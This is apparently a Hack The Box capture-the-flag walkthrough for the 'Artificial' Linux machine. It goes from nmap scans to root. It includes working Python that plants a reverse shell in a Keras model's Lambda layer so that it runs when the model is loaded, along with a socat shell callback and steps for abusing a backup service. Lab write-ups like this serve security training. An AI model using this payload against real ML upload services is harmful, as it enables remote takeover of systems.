Skip to content

Artificial

OS
Linux
Release Date
21 Jun 2025
Difficulty
Easy
Machine State
Active

A complete walkthrough of the "Artificial" machine from Hack The Box, detailing the path from exploiting a Keras model upload vulnerability to achieving root access through a backup application privilege escalation.

Keras RCE TensorFlow Exploit Lambda Layer Netdata SUID

Artificial

Active Machine Notice

This machine is currently ACTIVE on Hack The Box. In compliance with HTB's write-up policy, sensitive information including credentials, flags, and certain exploitation details have been redacted. A full unredacted write-up will be published after the machine is retired.

Initial Enumeration

Starting by performing a SYN scan via nmap to identify open ports:

sudo nmap -sS -Pn -n 10.10.11.74 -oN all_syn.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 12:53 EDT
Nmap scan report for 10.10.11.74
Host is up (0.053s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.03 seconds

Piping the results into an enumeration scan:

PORTS=$(grep "open" all_syn.txt | awk -F '/' '{print $1}' | tr '\n' ',' | sed 's/,$//'); sudo nmap -sVC -Pn -n -p $PORTS 10.10.11.74 -oN nmap_svc_scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 12:55 EDT
Nmap scan report for 10.10.11.74
Host is up (0.048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
|   256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_  256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds

The scan reveals a web server redirecting to artificial.htb. After adding the domain to /etc/hosts, I navigate to the website.


Initial Foothold

Web Application Analysis

Browsing to port 80 reveals a web application that allows users to upload and test machine learning models:

I create an account and upload a fake .h5 file to test the application's functionality:

Vulnerability Research

Tracking the traffic through Burp Suite reveals the application is using Keras models:

Research into Keras and .h5 file vulnerabilities leads to several CVEs related to remote code execution through Lambda layers in TensorFlow models:

Exploit Development

After testing several PoCs without success, I combined multiple approaches to create a working exploit.

Step 1: Create a basic legitimate model:

import tensorflow as tf
from tensorflow import keras
from keras import layers, models
import numpy as np
import socket
import os
import pty

def create_malicious_model():
    x_train = np.random.rand(1000, 20)
    y_train = np.random.randint(0, 2, size=(1000, ))

    model = models.Sequential([
        layers.Dense(64, activation='relu', input_shape=(20,)),
        layers.Dense(1, activation='sigmoid'),

    ])

    model.compile(optimizer='adam',
                  loss='binary_crossentropy',
                  metrics=['accuracy'])

    model.fit(x_train, y_train, epochs=1, batch_size=32)
    model.save('malicious_model.h5')
    print("Malicious model saved as 'malicious_model.h5'")

if __name__ == "__main__":
    create_malicious_model()

Step 2: Inject the malicious Lambda layer with reverse shell:

import tensorflow.keras
import tensorflow as tf

MODEL_PATH = "malicious_model.h5"

model = tensorflow.keras.models.load_model(MODEL_PATH)

def exploit(x):
    import os
    os.system("bash -c 'sh -i >& /dev/tcp/10.10.16.4/9999 0>&1'")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")

Note: Ensure to use tensorflow-cpu==2.13.1 as specified by the application.

Upload exploit.h5 and trigger the predict feature to receive a reverse shell:

Shell Stabilization

Stabilize the shell using socat:

On the attacking machine:

socat file:`tty`,raw,echo=0 tcp-listen:4445

On the target (after transferring socat):

chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.16.3:4445


Privilege Escalation

Credential Discovery

Investigating the application files reveals a secret key:

[REDACTED]

Checking the SQLite database yields password hashes:

After attempting to crack the hash with hashcat:

Lateral Movement

While su didn't work with the discovered password, SSH connection was successful:

ssh oliver@localhost
# Password: [REDACTED]

Note: This discrepancy occurs because su and SSH use different PAM configurations (/etc/pam.d/su vs /etc/pam.d/sshd), or due to shell restrictions and namespace isolation.

Backup File Analysis

As a member of the sysadm group, we have access to backup files:

find / -group sysadm -ls 2>/dev/null
293066  51132 -rw-r-----   1 root     sysadm   52357120 Mar  4  2025 /var/backups/backrest_backup.tar.gz

Transferring and examining the backup reveals configuration files:

Found credentials for the backup application: [REDACTED]

Port Forwarding and Exploitation

Forward the backup service port:

ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74

Login with the discovered credentials:

Create a repository with the location set to /tmp/priv_esc:

Execute the backup command targeting the root directory:

backup /root

After the backup completes, click "Index Snapshots", then restore to path:

Download the restored files:

Extract the root flag from the archive:


Conclusion

The Artificial machine demonstrated a realistic attack path involving machine learning model exploitation, credential discovery, and backup service abuse to achieve complete system compromise.